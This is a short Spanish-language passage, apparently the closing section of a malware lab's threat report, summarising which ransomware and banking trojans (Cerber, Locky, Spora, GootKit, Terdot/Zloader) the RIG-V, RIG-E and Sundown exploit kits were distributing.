El grupo que está detrás de las infecciones a través de RIG-V ha seguido centrado en el Ransomware, pero ha aumentado la variedad de su arsenal, pues hemos visto entre otros el ya común Cerber, y otros como nuestro viejo amigo Locky, CryptoMix y el que repasábamos más arriba, Spora.
En cuanto al EK RIG-E han estado especialmente centrados en el troyano bancario GootKit.
Y por último, Sundown se ha sumado al reparto de Cerber junto con otro malware catalogado como Terdot.A-Zloader (una variante del troyano bancario Zeus cuyo código fue liberado alrededor de 2011).
Como siempre desde el laboratorio de malware esperamos que les sea de utilidad esta información.